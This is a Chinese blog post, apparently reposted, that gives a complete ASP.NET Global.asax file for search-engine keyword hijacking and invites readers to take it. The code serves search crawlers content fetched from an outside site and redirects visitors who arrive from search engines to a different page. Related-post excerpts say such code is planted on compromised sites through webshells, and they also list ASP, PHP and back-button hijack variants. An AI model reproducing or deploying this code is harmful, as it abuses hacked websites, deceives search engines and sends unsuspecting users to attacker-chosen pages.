搜索引擎关键词劫持之.net篇

摘要:蛋疼写的,有需要的就拿去,注意要保存为Global.asax。 重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如 meta content=text/html; charset=utf-8 http-equiv=Content-Type/ 来指明是UTF-8编码,以避免乱码问题。 %@A...

蛋疼写的,有需要的就拿去,注意要保存为Global.asax。
重要说明:为避免编码问题,请在劫持页面(data_url)指向页面加入meta标记来指明编码,如

<meta content="text/html; charset=utf-8" http-equiv="Content-Type"/>

来指明是UTF-8编码,以避免乱码问题。

            <%@ Application Language="C#" %>
            <script runat="server"> 

            void Application_Start(object sender, EventArgs e)
            {
            //在应用程序启动时运行的代码
            }
            void Application_End(object sender, EventArgs e)
            {
            //在应用程序关闭时运行的代码
            } 

            void Application_Error(object sender, EventArgs e)
            {
            //在出现未处理的错误时运行的代码
            } 

            void Session_Start(object sender, EventArgs e)
            {
            //在新会话启动时运行的代码
            //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent);
            string data_url = "http://www.yunsec.net";//要展示给搜索引擎的页面
            string redirect_url="http://www.yunsec.net/1.asp";//从搜索引擎点击进来跳转的页面
            if (is_spider())
            {
            HttpContext.Current.Response.Clear();
            HttpContext.Current.Response.BinaryWrite(get_data(data_url));
            HttpContext.Current.Response.End();
            }
            else if(is_from_search())
            {
            HttpContext.Current.Response.Redirect(redirect_url, true);
            }
            else
            {
            //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent);
            }
            } 

            void Session_End(object sender, EventArgs e)
            {
            //在会话结束时运行的代码。
            // 注意: 只有在 Web.config 文件中的 sessionstate 模式设置为
            // InProc 时,才会引发 Session_End 事件。如果会话模式
            //设置为 StateServer 或 SQLServer,则不会引发该事件。 

            }
            public bool is_spider()
            {
            string spider_flag = "googlebot|baiduspider|sogou|yahoo|soso";//这里添加搜索引擎user-agent标识
            string[] spider_flagspider_flag_arr = spider_flag.Split(‘|‘);
            string user_agent=HttpContext.Current.Request.UserAgent;
            foreach (string tmp_flag in spider_flag_arr)
            {
            if (user_agent.ToLower().IndexOf(tmp_flag.ToLower())!=-1) { return true; }
            }
            return false;
            }
            public bool is_from_search()
            {
            if (HttpContext.Current.Request.UrlReferrer==null)
            {
            return false;
            }
            else
            {
            string page_ref = HttpContext.Current.Request.UrlReferrer.ToString();
            string search_flag = "google|baidu|sogou|yahoo|soso"; //这里添加搜索引擎url标识
            string[] search_flagsearch_flag_arr = search_flag.Split(‘|‘);
            foreach (string tmp_flag in search_flag_arr)
            {
            if (page_ref.ToLower().IndexOf(tmp_flag.ToLower()) != -1) { return true; }
            }
            return false;
            }
            }
            public byte[] get_data(string url)
            {
            System.Net.WebClient wc = new System.Net.WebClient();
            byte[] data = wc.DownloadData(url);
            return data;
            } 

            </script>
时间: 2024-11-05 21:20:20

搜索引擎关键词劫持之.net篇的相关文章

搜索引擎关键词劫持之asp篇

摘要:关键词劫持(黑帽seo)其实原理很简单:搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出判断... 黑帽SEO代码一: <% function GetBot() '查询蜘蛛 dim s_agent GetBot="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句 if instr(1,s_agen

搜索引擎关键词劫持之php篇(源码与分析)

摘要:其实原理很简单: 搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断: if(来访者是蜘蛛){ 输出指定内容 } if(用户是从搜索引擎点击进入网站的){ 跳转我们希... 其实原理很简单:搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断: if(来访者是蜘蛛){输出指定内容}if(用户是从搜索引擎点击

python截取搜索引擎关键词

这段代码是自己学了python的基本语法之后,参考一个网上视频写的代码,功能是截取搜索引擎360的关键词. 代码: 1 #!/usr/bin/python 2 #encoding:utf-8 3 4 import urllib 5 import urllib2 6 import re 7 import time 8 from random import choice 9 10 ipList = ['1.9.189.65:3128', '27.24.158.130:80', '27.24.158.

搜索引擎返回劫持代码使用方法

代码简介:搜索引擎劫持代码是由作者使用JavaScript所写,通过手机浏览器可以让访问用户通过SEM或者SEO的搜索引擎快照进入网页点击返回按键时启用,可以直接瞬间返回到指定网址,从而达到搜索引擎劫持效果. 代码作者:陈安太 作者微信:2250090225 源码分享: // 版权所有:陈安太 // 作者扣扣:2250090225 // 返回劫持 var hash = window.location.href;         if (location.hash.indexOf("_bdtz&q

用python爬取搜索引擎关键词的简易方案

环境:python2.7 以360为例,用http截取工具获得url,具体的获取方法根据要求实现功能而定.例如:我要爬取她的关键词,就是截取以...word=结尾的一串url. 没有加入浏览器信息,系统版本,事实证明360对爬虫很友好呢=.=. 1.关于正则表达式的处理,根据实际情况自己写,没有特别统一的格式. 2.关于网站的编码,都可以修改处理,这里用的gbk. 1 #coding=gbk 2 ''' 3 Created on 2014-9-23 4 5 @author: Administra

HanLP 关键词提取。入门篇

前段时间,领导要求出一个关键字提取的微服务,要求轻量级. 对于没写过微服务的一个小白来讲.硬着头皮上也不能说不会啊. 首先了解下公司目前的架构体系,发现并不是分布式开发,只能算是分模块部署.然后我需要写个Boot的服务,对外提供一个接口就行. 在上网浏览了下分词概念后,然后我选择了Gradle & HanLP & SpringBoot & JDK1.8 & tomcat8 & IDEA工具来实现. Gradle 我也是第一次听说,和Maven一样,可以很快捷的管理项

Google搜索排名优化-面向搜索引擎的网站设计

内容摘要:网站在搜索营销方面最主要的缺点: 行业知识:不知道搜索引擎对吸引的新用户的重要性,在搜索引擎排名服务中追求“傻瓜相关”,购买一些其实没有太多实际意义的行业关键词.其实能够用户输入的关键词越多,其目标性越强,这样的客户价值越高.用户能够直接定位到产品具体内容页比到网站首页有价值的多: 发布技术:网站的网页进入Google的索引量非常小,主要是由于大量使用动态网页造成的.需要将动态页面链接改写成静态 链接: 页面设计:页面标题重复,关键词不突出,过渡使用JavaScript脚本/图片/Fl

百度搜索引擎排名原理、因素

再有五六天就开学了,查找有关搜索引擎排名,以下这篇文章还是比较不错的,先赞一个^_^! 搜索引擎排名定义: 在搜索引擎里输入一个关键字,通常得到很多搜索结果,这些搜索结果的排名有先后之分,这就是搜索引擎排名 搜索引擎的排名原理 搜索引擎优化简称SEO,指的是在符合用户友好性及搜索引擎算法的基础上,使用网站内或者网站外的优化手段,使网站在搜索引擎的关键词排名提高,从而获得目标搜索流量,进而建立直接销售或建立网络品牌. 搜索引擎的排名基本上分为四个步骤: 1. 爬行和抓取 搜索引擎派出一个能够在网上

什么是网站劫持

百度搜索流量事件是网站劫持的其中一种表现.网站劫持还会导致以下问题: 用户输入正常网址跳转到其它地址,导致用户无法正常访问,网站流量受损: 通过泛域名解析生成大量子域名共同指向其它地址,跳转到非法网站,造成网站权重降低: 域名被解析到恶意钓鱼网站,导致用户财产损失,造成客户投诉: 网站经常弹出广告,影响客户体验,造成信誉度下降. 那么究竟什么是网站劫持,又有哪些网站劫持的方式呢? 搜索引擎劫持 搜索引擎劫持简称搜索劫持,其实就是从搜索引擎来的流量自动跳转到指定的网页.可以通过未经用户授权,自动修